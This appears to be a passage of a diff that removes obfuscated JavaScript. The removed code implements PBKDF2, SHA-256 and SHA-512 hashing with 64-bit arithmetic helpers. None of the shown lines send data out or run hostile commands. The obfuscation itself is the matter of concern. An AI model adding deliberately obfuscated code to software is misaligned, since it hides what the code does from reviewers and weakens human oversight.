- if (_0x38422b.number(_0xaafb91), _0x38422b.number(_0x49e3d0), _0x38422b.number(_0x163a54), _0xaafb91 < 1) {
- throw new Error("PBKDF2: iterations (c) should be >= 1");
- }
- const _0x5b86c3 = _0x351a47(_0x2487b6);
- const _0x496332 = _0x351a47(_0x146e0c);
- const _0xd27d73 = new Uint8Array(_0x49e3d0);
- const _0x2d1528 = _0x16b321.create(_0x143744, _0x5b86c3);
- const _0x1c58ec = _0x2d1528._cloneInto().update(_0x496332);
- return {
- c: _0xaafb91,
- dkLen: _0x49e3d0,
- asyncTick: _0x163a54,
- DK: _0xd27d73,
- PRF: _0x2d1528,
- PRFSalt: _0x1c58ec
- };
- }(_0x3ac908, _0x1dc8dd, _0x41c8b2, _0x33fa6b);
- let _0x257dd9;
- const _0x5b84c1 = new Uint8Array(4);
- const _0x6bd9e3 = _0x2dcc05(_0x5b84c1);
- const _0x30f5eb = new Uint8Array(_0x4713ef.outputLen);
- for (let _0x3c231d = 1, _0x34c4f6 = 0; _0x34c4f6 < _0x559ad5; _0x3c231d++, _0x34c4f6 += _0x4713ef.outputLen) {
- const _0x261e9b = _0x45183d.subarray(_0x34c4f6, _0x34c4f6 + _0x4713ef.outputLen);
- _0x6bd9e3.setInt32(0, _0x3c231d, false);
- (_0x257dd9 = _0x9522bf._cloneInto(_0x257dd9)).update(_0x5b84c1).digestInto(_0x30f5eb);
- _0x261e9b.set(_0x30f5eb.subarray(0, _0x261e9b.length));
- for (let _0x31dc4d = 1; _0x31dc4d < _0xa6b5f4; _0x31dc4d++) {
- _0x4713ef._cloneInto(_0x257dd9).update(_0x30f5eb).digestInto(_0x30f5eb);
- for (let _0xf90b75 = 0; _0xf90b75 < _0x261e9b.length; _0xf90b75++) {
- _0x261e9b[_0xf90b75] ^= _0x30f5eb[_0xf90b75];
- }
- }
- }
- return function (_0x2735ed, _0x240e3b, _0xd45be1, _0x59d570, _0x4d8d93) {
- _0x2735ed.destroy();
- _0x240e3b.destroy();
- _0x59d570 && _0x59d570.destroy();
- _0x4d8d93.fill(0);
- return _0xd45be1;
- }(_0x4713ef, _0x9522bf, _0x45183d, _0x257dd9, _0x30f5eb);
- }
- _0x16b321.create = (_0x164a4d, _0x4df13e) => new _0x41584c(_0x164a4d, _0x4df13e);
- class _0xf3db28 extends _0x3da529 {
- constructor(_0x516cbb, _0x33aac0, _0x911a4b, _0x1cd589) {
- super();
- this.blockLen = _0x516cbb;
- this.outputLen = _0x33aac0;
- this.padOffset = _0x911a4b;
- this.isLE = _0x1cd589;
- this.finished = false;
- this.length = 0;
- this.pos = 0;
- this.destroyed = false;
- this.buffer = new Uint8Array(_0x516cbb);
- this.view = _0x2dcc05(this.buffer);
- }
- update(_0x5ba8f9) {
- _0x38422b.exists(this);
- const {
- view: _0x4845ef,
- buffer: _0x5f4c02,
- blockLen: _0x1d4908
- } = this;
- const _0x3eb10b = (_0x5ba8f9 = _0x351a47(_0x5ba8f9)).length;
- for (let _0x278674 = 0; _0x278674 < _0x3eb10b;) {
- const _0x274838 = Math.min(_0x1d4908 - this.pos, _0x3eb10b - _0x278674);
- if (_0x274838 !== _0x1d4908) {
- _0x5f4c02.set(_0x5ba8f9.subarray(_0x278674, _0x278674 + _0x274838), this.pos);
- this.pos += _0x274838;
- _0x278674 += _0x274838;
- this.pos === _0x1d4908 && (this.process(_0x4845ef, 0), this.pos = 0);
- } else {
- const _0x129c8f = _0x2dcc05(_0x5ba8f9);
- for (; _0x1d4908 <= _0x3eb10b - _0x278674; _0x278674 += _0x1d4908) {
- this.process(_0x129c8f, _0x278674);
- }
- }
- }
- this.length += _0x5ba8f9.length;
- this.roundClean();
- return this;
- }
- digestInto(_0x2fb2aa) {
- _0x38422b.exists(this);
- _0x38422b.output(_0x2fb2aa, this);
- this.finished = true;
- const {
- buffer: _0x48cf7f,
- view: _0x190ee4,
- blockLen: _0xbfa64e,
- isLE: _0x5037f9
- } = this;
- let {
- pos: _0xa7e4dc
- } = this;
- _0x48cf7f[_0xa7e4dc++] = 128;
- this.buffer.subarray(_0xa7e4dc).fill(0);
- this.padOffset > _0xbfa64e - _0xa7e4dc && (this.process(_0x190ee4, 0), _0xa7e4dc = 0);
- for (let _0x2cb1bf = _0xa7e4dc; _0x2cb1bf < _0xbfa64e; _0x2cb1bf++) {
- _0x48cf7f[_0x2cb1bf] = 0;
- }
- !function (_0x24119d, _0x3a3c9a, _0x3bd478, _0xce950d) {
- if ("function" == typeof _0x24119d.setBigUint64) {
- return _0x24119d.setBigUint64(_0x3a3c9a, _0x3bd478, _0xce950d);
- }
- const _0x40f720 = BigInt(32);
- const _0x31a015 = BigInt(4294967295);
- const _0x3430af = Number(_0x3bd478 >> _0x40f720 & _0x31a015);
- const _0x53d80e = Number(_0x3bd478 & _0x31a015);
- const _0x37c4ea = _0xce950d ? 4 : 0;
- const _0x3a859a = _0xce950d ? 0 : 4;
- _0x24119d.setUint32(_0x3a3c9a + _0x37c4ea, _0x3430af, _0xce950d);
- _0x24119d.setUint32(_0x3a3c9a + _0x3a859a, _0x53d80e, _0xce950d);
- }(_0x190ee4, _0xbfa64e - 8, BigInt(8 * this.length), _0x5037f9);
- this.process(_0x190ee4, 0);
- const _0xe20ee6 = _0x2dcc05(_0x2fb2aa);
- this.get().forEach((_0x109d22, _0x921149) => _0xe20ee6.setUint32(4 * _0x921149, _0x109d22, _0x5037f9));
- }
- digest() {
- const {
- buffer: _0x3a5f4b,
- outputLen: _0x6bbae4
- } = this;
- this.digestInto(_0x3a5f4b);
- const _0x19ce18 = _0x3a5f4b.slice(0, _0x6bbae4);
- this.destroy();
- return _0x19ce18;
- }
- _cloneInto(_0x1c8cc2) {
- _0x1c8cc2 || (_0x1c8cc2 = new this.constructor());
- _0x1c8cc2.set(...this.get());
- const {
- blockLen: _0x23e119,
- buffer: _0x142b0d,
- length: _0x41a406,
- finished: _0x235926,
- destroyed: _0xe14b22,
- pos: _0x469487
- } = this;
- _0x1c8cc2.length = _0x41a406;
- _0x1c8cc2.pos = _0x469487;
- _0x1c8cc2.finished = _0x235926;
- _0x1c8cc2.destroyed = _0xe14b22;
- _0x41a406 % _0x23e119 && _0x1c8cc2.buffer.set(_0x142b0d);
- return _0x1c8cc2;
- }
- }
- const _0x5e4724 = (_0x5f2bcf, _0x60bdbe, _0x20e419) => _0x5f2bcf & _0x60bdbe ^ ~_0x5f2bcf & _0x20e419;
- const _0x3f1b15 = (_0x562ba1, _0x227432, _0x55e790) => _0x562ba1 & _0x227432 ^ _0x562ba1 & _0x55e790 ^ _0x227432 & _0x55e790;
- const _0x2977eb = new Uint32Array([1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]);
- const _0x3d1f4d = new Uint32Array([1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]);
- const _0xaf40d2 = new Uint32Array(64);
- class _0x3e225a extends _0xf3db28 {
- constructor() {
- super(64, 32, 8, false);
- this.A = 0 | _0x3d1f4d[0];
- this.B = 0 | _0x3d1f4d[1];
- this.C = 0 | _0x3d1f4d[2];
- this.D = 0 | _0x3d1f4d[3];
- this.E = 0 | _0x3d1f4d[4];
- this.F = 0 | _0x3d1f4d[5];
- this.G = 0 | _0x3d1f4d[6];
- this.H = 0 | _0x3d1f4d[7];
- }
- get() {
- const {
- A: _0x411218,
- B: _0x5a84f8,
- C: _0xbfd6d8,
- D: _0x4f0dbe,
- E: _0x446e6a,
- F: _0xecb2fe,
- G: _0x485a03,
- H: _0x334529
- } = this;
- return [_0x411218, _0x5a84f8, _0xbfd6d8, _0x4f0dbe, _0x446e6a, _0xecb2fe, _0x485a03, _0x334529];
- }
- set(_0x1d70c9, _0x474fd9, _0x487228, _0x257a8c, _0x5736cb, _0x4e7895, _0x5a0869, _0x2dd6e0) {
- this.A = 0 | _0x1d70c9;
- this.B = 0 | _0x474fd9;
- this.C = 0 | _0x487228;
- this.D = 0 | _0x257a8c;
- this.E = 0 | _0x5736cb;
- this.F = 0 | _0x4e7895;
- this.G = 0 | _0x5a0869;
- this.H = 0 | _0x2dd6e0;
- }
- process(_0x439dc8, _0x858431) {
- for (let _0x1ecc50 = 0; _0x1ecc50 < 16; _0x1ecc50++, _0x858431 += 4) {
- _0xaf40d2[_0x1ecc50] = _0x439dc8.getUint32(_0x858431, false);
- }
- for (let _0x5e53c8 = 16; _0x5e53c8 < 64; _0x5e53c8++) {
- const _0x57fdca = _0xaf40d2[_0x5e53c8 - 15];
- const _0x545256 = _0xaf40d2[_0x5e53c8 - 2];
- const _0x433e0b = _0x53cc62(_0x57fdca, 7) ^ _0x53cc62(_0x57fdca, 18) ^ _0x57fdca >>> 3;
- const _0x3e5694 = _0x53cc62(_0x545256, 17) ^ _0x53cc62(_0x545256, 19) ^ _0x545256 >>> 10;
- _0xaf40d2[_0x5e53c8] = _0x3e5694 + _0xaf40d2[_0x5e53c8 - 7] + _0x433e0b + _0xaf40d2[_0x5e53c8 - 16] | 0;
- }
- let {
- A: _0x3046c3,
- B: _0x42dde6,
- C: _0xf85d18,
- D: _0x4f7cab,
- E: _0x26ad03,
- F: _0x23c667,
- G: _0x3bdfb3,
- H: _0x69ff4b
- } = this;
- for (let _0x29d301 = 0; _0x29d301 < 64; _0x29d301++) {
- const _0x13cd22 = _0x69ff4b + (_0x53cc62(_0x26ad03, 6) ^ _0x53cc62(_0x26ad03, 11) ^ _0x53cc62(_0x26ad03, 25)) + _0x5e4724(_0x26ad03, _0x23c667, _0x3bdfb3) + _0x2977eb[_0x29d301] + _0xaf40d2[_0x29d301] | 0;
- const _0x2bba9c = (_0x53cc62(_0x3046c3, 2) ^ _0x53cc62(_0x3046c3, 13) ^ _0x53cc62(_0x3046c3, 22)) + _0x3f1b15(_0x3046c3, _0x42dde6, _0xf85d18) | 0;
- _0x69ff4b = _0x3bdfb3;
- _0x3bdfb3 = _0x23c667;
- _0x23c667 = _0x26ad03;
- _0x26ad03 = _0x4f7cab + _0x13cd22 | 0;
- _0x4f7cab = _0xf85d18;
- _0xf85d18 = _0x42dde6;
- _0x42dde6 = _0x3046c3;
- _0x3046c3 = _0x13cd22 + _0x2bba9c | 0;
- }
- _0x3046c3 = _0x3046c3 + this.A | 0;
- _0x42dde6 = _0x42dde6 + this.B | 0;
- _0xf85d18 = _0xf85d18 + this.C | 0;
- _0x4f7cab = _0x4f7cab + this.D | 0;
- _0x26ad03 = _0x26ad03 + this.E | 0;
- _0x23c667 = _0x23c667 + this.F | 0;
- _0x3bdfb3 = _0x3bdfb3 + this.G | 0;
- _0x69ff4b = _0x69ff4b + this.H | 0;
- this.set(_0x3046c3, _0x42dde6, _0xf85d18, _0x4f7cab, _0x26ad03, _0x23c667, _0x3bdfb3, _0x69ff4b);
- }
- roundClean() {
- _0xaf40d2.fill(0);
- }
- destroy() {
- this.set(0, 0, 0, 0, 0, 0, 0, 0);
- this.buffer.fill(0);
- }
- }
- const _0x137671 = _0xef64ce(() => new _0x3e225a());
- const _0x25e506 = BigInt(4294967295);
- const _0x1e2eab = BigInt(32);
- function _0x4564db(_0x170edc, _0x590c8f = false) {
- return _0x590c8f ? {
- h: Number(_0x170edc & _0x25e506),
- l: Number(_0x170edc >> _0x1e2eab & _0x25e506)
- } : {
- h: 0 | Number(_0x170edc >> _0x1e2eab & _0x25e506),
- l: 0 | Number(_0x170edc & _0x25e506)
- };
- }
- const _0x3e1d61 = {
- fromBig: _0x4564db,
- split: function (_0x2324e0, _0x50d0e2 = false) {
- let _0x28e432 = new Uint32Array(_0x2324e0.length);
- let _0xc72c80 = new Uint32Array(_0x2324e0.length);
- for (let _0x473093 = 0; _0x473093 < _0x2324e0.length; _0x473093++) {
- const {
- h: _0x5ac31a,
- l: _0x2ddac8
- } = _0x4564db(_0x2324e0[_0x473093], _0x50d0e2);
- [_0x28e432[_0x473093], _0xc72c80[_0x473093]] = [_0x5ac31a, _0x2ddac8];
- }
- return [_0x28e432, _0xc72c80];
- },
- toBig: (_0x2474ff, _0x3659a9) => BigInt(_0x2474ff >>> 0) << _0x1e2eab | BigInt(_0x3659a9 >>> 0),
- shrSH: (_0x126583, _0x38e4d4, _0x387cf5) => _0x126583 >>> _0x387cf5,
- shrSL: (_0xba0dc8, _0x4aa9f9, _0x3136a5) => _0xba0dc8 << 32 - _0x3136a5 | _0x4aa9f9 >>> _0x3136a5,
- rotrSH: (_0x39a344, _0x598bae, _0x5827ba) => _0x39a344 >>> _0x5827ba | _0x598bae << 32 - _0x5827ba,
- rotrSL: (_0x4285df, _0x4a89b6, _0xbeb47) => _0x4285df << 32 - _0xbeb47 | _0x4a89b6 >>> _0xbeb47,
- rotrBH: (_0xd1adc2, _0x2c743d, _0x3c9ea1) => _0xd1adc2 << 64 - _0x3c9ea1 | _0x2c743d >>> _0x3c9ea1 - 32,
- rotrBL: (_0x120c6d, _0x3adc2b, _0x2e4f42) => _0x120c6d >>> _0x2e4f42 - 32 | _0x3adc2b << 64 - _0x2e4f42,
- rotr32H: (_0x2146a0, _0x52447c) => _0x52447c,
- rotr32L: (_0x2932fa, _0x176a97) => _0x2932fa,
- rotlSH: (_0x150293, _0x5bb02f, _0x5034d0) => _0x150293 << _0x5034d0 | _0x5bb02f >>> 32 - _0x5034d0,
- rotlSL: (_0x79d17a, _0x50f568, _0x12da81) => _0x50f568 << _0x12da81 | _0x79d17a >>> 32 - _0x12da81,
- rotlBH: (_0x518ae4, _0xc351e1, _0x2a1d80) => _0xc351e1 << _0x2a1d80 - 32 | _0x518ae4 >>> 64 - _0x2a1d80,
- rotlBL: (_0x1f782c, _0x529d8c, _0x37e3e8) => _0x1f782c << _0x37e3e8 - 32 | _0x529d8c >>> 64 - _0x37e3e8,
- add: function (_0x254b35, _0xfbbd19, _0x3ab4ef, _0x329f33) {
- const _0x43e4bc = (_0xfbbd19 >>> 0) + (_0x329f33 >>> 0);
- return {
- h: _0x254b35 + _0x3ab4ef + (_0x43e4bc / 4294967296 | 0) | 0,
- l: 0 | _0x43e4bc
- };
- },
- add3L: (_0x28022c, _0x3edd20, _0x164fd2) => (_0x28022c >>> 0) + (_0x3edd20 >>> 0) + (_0x164fd2 >>> 0),
- add3H: (_0x58a0eb, _0x132274, _0x19ba22, _0x2f0fe6) => _0x132274 + _0x19ba22 + _0x2f0fe6 + (_0x58a0eb / 4294967296 | 0) | 0,
- add4L: (_0x4fa501, _0x462007, _0x50de50, _0x1ee4ba) => (_0x4fa501 >>> 0) + (_0x462007 >>> 0) + (_0x50de50 >>> 0) + (_0x1ee4ba >>> 0),
- add4H: (_0x2f79f4, _0x116a48, _0x20bfeb, _0x1919b5, _0x44d530) => _0x116a48 + _0x20bfeb + _0x1919b5 + _0x44d530 + (_0x2f79f4 / 4294967296 | 0) | 0,
- add5H: (_0x218c3c, _0x4fc7e3, _0x1fb6d0, _0x142b07, _0x908bfe, _0x41c965) => _0x4fc7e3 + _0x1fb6d0 + _0x142b07 + _0x908bfe + _0x41c965 + (_0x218c3c / 4294967296 | 0) | 0,
- add5L: (_0x2b5a53, _0x391c2c, _0x4af818, _0x3f714a, _0xda5419) => (_0x2b5a53 >>> 0) + (_0x391c2c >>> 0) + (_0x4af818 >>> 0) + (_0x3f714a >>> 0) + (_0xda5419 >>> 0)
- };
- const _0x7fc44b = _0x3e1d61;
- const [_0x3b3efb, _0x32940f] = _0x7fc44b.split(["0x428a2f98d728ae22", "0x7137449123ef65cd", "0xb5c0fbcfec4d3b2f", "0xe9b5dba58189dbbc", "0x3956c25bf348b538", "0x59f111f1b605d019", "0x923f82a4af194f9b", "0xab1c5ed5da6d8118", "0xd807aa98a3030242", "0x12835b0145706fbe", "0x243185be4ee4b28c", "0x550c7dc3d5ffb4e2", "0x72be5d74f27b896f", "0x80deb1fe3b1696b1", "0x9bdc06a725c71235", "0xc19bf174cf692694", "0xe49b69c19ef14ad2", "0xefbe4786384f25e3", "0x0fc19dc68b8cd5b5", "0x240ca1cc77ac9c65", "0x2de92c6f592b0275", "0x4a7484aa6ea6e483", "0x5cb0a9dcbd41fbd4", "0x76f988da831153b5", "0x983e5152ee66dfab", "0xa831c66d2db43210", "0xb00327c898fb213f", "0xbf597fc7beef0ee4", "0xc6e00bf33da88fc2", "0xd5a79147930aa725", "0x06ca6351e003826f", "0x142929670a0e6e70", "0x27b70a8546d22ffc", "0x2e1b21385c26c926", "0x4d2c6dfc5ac42aed", "0x53380d139d95b3df", "0x650a73548baf63de", "0x766a0abb3c77b2a8", "0x81c2c92e47edaee6", "0x92722c851482353b", "0xa2bfe8a14cf10364", "0xa81a664bbc423001", "0xc24b8b70d0f89791", "0xc76c51a30654be30", "0xd192e819d6ef5218", "0xd69906245565a910", "0xf40e35855771202a", "0x106aa07032bbd1b8", "0x19a4c116b8d2d0c8", "0x1e376c085141ab53", "0x2748774cdf8eeb99", "0x34b0bcb5e19b48a8", "0x391c0cb3c5c95a63", "0x4ed8aa4ae3418acb", "0x5b9cca4f7763e373", "0x682e6ff3d6b2b8a3", "0x748f82ee5defb2fc", "0x78a5636f43172f60", "0x84c87814a1f0ab72", "0x8cc702081a6439ec", "0x90befffa23631e28", "0xa4506cebde82bde9", "0xbef9a3f7b2c67915", "0xc67178f2e372532b", "0xca273eceea26619c", "0xd186b8c721c0c207", "0xeada7dd6cde0eb1e", "0xf57d4f7fee6ed178", "0x06f067aa72176fba", "0x0a637dc5a2c898a6", "0x113f9804bef90dae", "0x1b710b35131c471b", "0x28db77f523047d84", "0x32caab7b40c72493", "0x3c9ebe0a15c9bebc", "0x431d67c49c100d4c", "0x4cc5d4becb3e42b6", "0x597f299cfc657e2a", "0x5fcb6fab3ad6faec", "0x6c44198c4a475817"].map(_0x8b2e45 => BigInt(_0x8b2e45)));
- const _0x117bdd = new Uint32Array(80);
- const _0x3401fb = new Uint32Array(80);
- class _0x39cd90 extends _0xf3db28 {
- constructor() {
- super(128, 64, 16, false);
- this.Ah = 1779033703;
- this.Al = -205731576;
- this.Bh = -1150833019;
- this.Bl = -2067093701;
- this.Ch = 1013904242;
- this.Cl = -23791573;
- this.Dh = -1521486534;
- this.Dl = 1595750129;
- this.Eh = 1359893119;
- this.El = -1377402159;
- this.Fh = -1694144372;
- this.Fl = 725511199;
- this.Gh = 528734635;
- this.Gl = -79577749;
- this.Hh = 1541459225;
- this.Hl = 327033209;
- }
- get() {
- const {
- Ah: _0x5c49ab,
- Al: _0x598288,
- Bh: _0x2186eb,
- Bl: _0x990fd8,
- Ch: _0x29c4a6,
- Cl: _0x214798,
- Dh: _0x26cecf,
- Dl: _0x15842e,
- Eh: _0x48a673,
- El: _0x3bbd4d,
- Fh: _0xb59d93,
- Fl: _0x49c2cd,
- Gh: _0x42f8e1,
- Gl: _0x5b87f9,
- Hh: _0x4d0f2b,
- Hl: _0x56c9de
- } = this;
- return [_0x5c49ab, _0x598288, _0x2186eb, _0x990fd8, _0x29c4a6, _0x214798, _0x26cecf, _0x15842e, _0x48a673, _0x3bbd4d, _0xb59d93, _0x49c2cd, _0x42f8e1, _0x5b87f9, _0x4d0f2b, _0x56c9de];
- }
- set(_0x3b6fb7, _0x1801d0, _0x4e4ed7, _0x336bc9, _0x418344, _0x4bc565, _0x58c8e0, _0x56c894, _0x2bd759, _0x232b0c, _0x162ca0, _0x2457b6, _0x43a878, _0x3cceae, _0x4e6214, _0x5a8502) {
- this.Ah = 0 | _0x3b6fb7;
- this.Al = 0 | _0x1801d0;
- this.Bh = 0 | _0x4e4ed7;
- this.Bl = 0 | _0x336bc9;
- this.Ch = 0 | _0x418344;
- this.Cl = 0 | _0x4bc565;
- this.Dh = 0 | _0x58c8e0;
- this.Dl = 0 | _0x56c894;
- this.Eh = 0 | _0x2bd759;
- this.El = 0 | _0x232b0c;
- this.Fh = 0 | _0x162ca0;
- this.Fl = 0 | _0x2457b6;
- this.Gh = 0 | _0x43a878;
- this.Gl = 0 | _0x3cceae;
- this.Hh = 0 | _0x4e6214;
- this.Hl = 0 | _0x5a8502;
- }
- process(_0x1b1af9, _0x52b3c0) {
- for (let _0xd61e80 = 0; _0xd61e80 < 16; _0xd61e80++, _0x52b3c0 += 4) {
- _0x117bdd[_0xd61e80] = _0x1b1af9.getUint32(_0x52b3c0);
- _0x3401fb[_0xd61e80] = _0x1b1af9.getUint32(_0x52b3c0 += 4);
- }
- for (let _0x21c3b3 = 16; _0x21c3b3 < 80; _0x21c3b3++) {
- const _0x3f5c48 = 0 | _0x117bdd[_0x21c3b3 - 15];
- const _0x431100 = 0 | _0x3401fb[_0x21c3b3 - 15];
- const _0xa9c614 = _0x7fc44b.rotrSH(_0x3f5c48, _0x431100, 1) ^ _0x7fc44b.rotrSH(_0x3f5c48, _0x431100, 8) ^ _0x7fc44b.shrSH(_0x3f5c48, _0x431100, 7);
- const _0x2b6d01 = _0x7fc44b.rotrSL(_0x3f5c48, _0x431100, 1) ^ _0x7fc44b.rotrSL(_0x3f5c48, _0x431100, 8) ^ _0x7fc44b.shrSL(_0x3f5c48, _0x431100, 7);
- const _0x4ca630 = 0 | _0x117bdd[_0x21c3b3 - 2];
- const _0x364aa5 = 0 | _0x3401fb[_0x21c3b3 - 2];
- const _0x5687c8 = _0x7fc44b.rotrSH(_0x4ca630, _0x364aa5, 19) ^ _0x7fc44b.rotrBH(_0x4ca630, _0x364aa5, 61) ^ _0x7fc44b.shrSH(_0x4ca630, _0x364aa5, 6);
- const _0x396c23 = _0x7fc44b.rotrSL(_0x4ca630, _0x364aa5, 19) ^ _0x7fc44b.rotrBL(_0x4ca630, _0x364aa5, 61) ^ _0x7fc44b.shrSL(_0x4ca630, _0x364aa5, 6);
- const _0x53636c = _0x7fc44b.add4L(_0x2b6d01, _0x396c23, _0x3401fb[_0x21c3b3 - 7], _0x3401fb[_0x21c3b3 - 16]);
- const _0x43e904 = _0x7fc44b.add4H(_0x53636c, _0xa9c614, _0x5687c8, _0x117bdd[_0x21c3b3 - 7], _0x117bdd[_0x21c3b3 - 16]);
- _0x117bdd[_0x21c3b3] = 0 | _0x43e904;
- _0x3401fb[_0x21c3b3] = 0 | _0x53636c;
- }
- let {
- Ah: _0x342a0e,
- Al: _0x20746c,
- Bh: _0x1988c3,
- Bl: _0x220f62,
- Ch: _0x229b02,
- Cl: _0x51eae9,
- Dh: _0x378598,
- Dl: _0x5ce6d1,
- Eh: _0x3db03e,
- El: _0x478051,
- Fh: _0x24b80d,
- Fl: _0x27a170,
- Gh: _0x1e9704,
- Gl: _0x539829,
- Hh: _0x17a16f,
- Hl: _0x5cc053
- } = this;
- for (let _0x293767 = 0; _0x293767 < 80; _0x293767++) {
- const _0x41a946 = _0x7fc44b.rotrSH(_0x3db03e, _0x478051, 14) ^ _0x7fc44b.rotrSH(_0x3db03e, _0x478051, 18) ^ _0x7fc44b.rotrBH(_0x3db03e, _0x478051, 41);
- const _0x41e6b0 = _0x7fc44b.rotrSL(_0x3db03e, _0x478051, 14) ^ _0x7fc44b.rotrSL(_0x3db03e, _0x478051, 18) ^ _0x7fc44b.rotrBL(_0x3db03e, _0x478051, 41);
- const _0x52c969 = _0x3db03e & _0x24b80d ^ ~_0x3db03e & _0x1e9704;
- const _0x407681 = _0x478051 & _0x27a170 ^ ~_0x478051 & _0x539829;
- const _0x1a8bf8 = _0x7fc44b.add5L(_0x5cc053, _0x41e6b0, _0x407681, _0x32940f[_0x293767], _0x3401fb[_0x293767]);
- const _0x25a951 = _0x7fc44b.add5H(_0x1a8bf8, _0x17a16f, _0x41a946, _0x52c969, _0x3b3efb[_0x293767], _0x117bdd[_0x293767]);
- const _0x1892ac = 0 | _0x1a8bf8;
- const _0x40ee9b = _0x7fc44b.rotrSH(_0x342a0e, _0x20746c, 28) ^ _0x7fc44b.rotrBH(_0x342a0e, _0x20746c, 34) ^ _0x7fc44b.rotrBH(_0x342a0e, _0x20746c, 39);
- const _0x1602fc = _0x7fc44b.rotrSL(_0x342a0e, _0x20746c, 28) ^ _0x7fc44b.rotrBL(_0x342a0e, _0x20746c, 34) ^ _0x7fc44b.rotrBL(_0x342a0e, _0x20746c, 39);
- const _0x1d6532 = _0x342a0e & _0x1988c3 ^ _0x342a0e & _0x229b02 ^ _0x1988c3 & _0x229b02;
- const _0x29413b = _0x20746c & _0x220f62 ^ _0x20746c & _0x51eae9 ^ _0x220f62 & _0x51eae9;
- _0x17a16f = 0 | _0x1e9704;
- _0x5cc053 = 0 | _0x539829;
- _0x1e9704 = 0 | _0x24b80d;
- _0x539829 = 0 | _0x27a170;
- _0x24b80d = 0 | _0x3db03e;
- _0x27a170 = 0 | _0x478051;
- ({
- h: _0x3db03e,
- l: _0x478051
- } = _0x7fc44b.add(0 | _0x378598, 0 | _0x5ce6d1, 0 | _0x25a951, 0 | _0x1892ac));
- _0x378598 = 0 | _0x229b02;
- _0x5ce6d1 = 0 | _0x51eae9;
- _0x229b02 = 0 | _0x1988c3;
- _0x51eae9 = 0 | _0x220f62;
- _0x1988c3 = 0 | _0x342a0e;
- _0x220f62 = 0 | _0x20746c;
- const _0x3525dd = _0x7fc44b.add3L(_0x1892ac, _0x1602fc, _0x29413b);
- _0x342a0e = _0x7fc44b.add3H(_0x3525dd, _0x25a951, _0x40ee9b, _0x1d6532);
- _0x20746c = 0 | _0x3525dd;
- }
- ({
- h: _0x342a0e,
- l: _0x20746c
- } = _0x7fc44b.add(0 | this.Ah, 0 | this.Al, 0 | _0x342a0e, 0 | _0x20746c));
- ({
- h: _0x1988c3,
- l: _0x220f62
- } = _0x7fc44b.add(0 | this.Bh, 0 | this.Bl, 0 | _0x1988c3, 0 | _0x220f62));
- ({
- h: _0x229b02,
- l: _0x51eae9
- } = _0x7fc44b.add(0 | this.Ch, 0 | this.Cl, 0 | _0x229b02, 0 | _0x51eae9));
- ({
- h: _0x378598,
- l: _0x5ce6d1
- } = _0x7fc44b.add(0 | this.Dh, 0 | this.Dl, 0 | _0x378598, 0 | _0x5ce6d1));
- ({
- h: _0x3db03e,
- l: _0x478051
- } = _0x7fc44b.add(0 | this.Eh, 0 | this.El, 0 | _0x3db03e, 0 | _0x478051));
- ({
- h: _0x24b80d,
- l: _0x27a170
- } = _0x7fc44b.add(0 | this.Fh, 0 | this.Fl, 0 | _0x24b80d, 0 | _0x27a170));
- ({
- h: _0x1e9704,
- l: _0x539829
- } = _0x7fc44b.add(0 | this.Gh, 0 | this.Gl, 0 | _0x1e9704, 0 | _0x539829));
- ({
- h: _0x17a16f,
- l: _0x5cc053
- } = _0x7fc44b.add(0 | this.Hh, 0 | this.Hl, 0 | _0x17a16f, 0 | _0x5cc053));
- this.set(_0x342a0e, _0x20746c, _0x1988c3, _0x220f62, _0x229b02, _0x51eae9, _0x378598, _0x5ce6d1, _0x3db03e, _0x478051, _0x24b80d, _0x27a170, _0x1e9704, _0x539829, _0x17a16f, _0x5cc053);
- }
- roundClean() {
- _0x117bdd.fill(0);
- _0x3401fb.fill(0);
- }
- destroy() {
- this.buffer.fill(0);
- this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
- }
- }
- class _0x1030c7 extends _0x39cd90 {
- constructor() {
- super();
- this.Ah = 573645204;
- this.Al = -64227540;
- this.Bh = -1621794909;
- this.Bl = -934517566;
- this.Ch = 596883563;
- this.Cl = 1867755857;
- this.Dh = -1774684391;
- this.Dl = 1497426621;
- this.Eh = -1775747358;
- this.El = -1467023389;
- this.Fh = -1101128155;
- this.Fl = 1401305490;
- this.Gh = 721525244;
- this.Gl = 746961066;
- this.Hh = 246885852;
- this.Hl = -2117784414;
- this.outputLen = 32;
- }
- }
- class _0x2677a7 extends _0x39cd90 {
- constructor() {
- super();
- this.Ah = -876896931;
- this.Al = -1056596264;
- this.Bh = 1654270250;
- this.Bl = 914150663;
- this.Ch = -1856437926;
- this.Cl = 812702999;
- this.Dh = 355462360;
- this.Dl = -150054599;
- this.Eh = 1731405415;
- this.El = -4191439;
- this.Fh = -1900787065;
- this.Fl = 1750603025;
- this.Gh = -619958771;
- this.Gl = 1694076839;
- this.Hh = 1203062813;
- this.Hl = -1090891868;
- this.outputLen = 48;
- }
- }
- const _0x2af318 = _0xef64ce(() => new _0x39cd90());
- _0xef64ce(() => new _0x1030c7());
- _0xef64ce(() => new _0x2677a7());
- var _0x4d6880 = function () {
- if ("undefined" != typeof self) {
- return self;
- }
- if ("undefined" != typeof window) {
- return window;
- }
- if ("undefined" != typeof global) {
- return global;
- }
- throw new Error("unable to locate global object");
- }();
- var _0x5e34e2 = _0x4d6880.crypto || _0x4d6880.msCrypto;
- function _0x39c471(_0x8739a8) {
- switch (_0x8739a8) {
- case "sha256":
- return _0x137671.create();
- case "sha512":
- return _0x2af318.create();
- }
- _0x413a2d(false, "invalid hashing algorithm name", "algorithm", _0x8739a8);
- }
- var _0x263a69 = function (_0x4c1a0f) {
- return _0x39c471("sha256").update(_0x4c1a0f).digest();
- };
- var _0x192869 = function (_0x32a331) {
- return _0x39c471("sha512").update(_0x32a331).digest();
- };
- var _0x1ff084 = _0x263a69;
- var _0x62b78 = _0x192869;
- var _0x4a9623 = false;
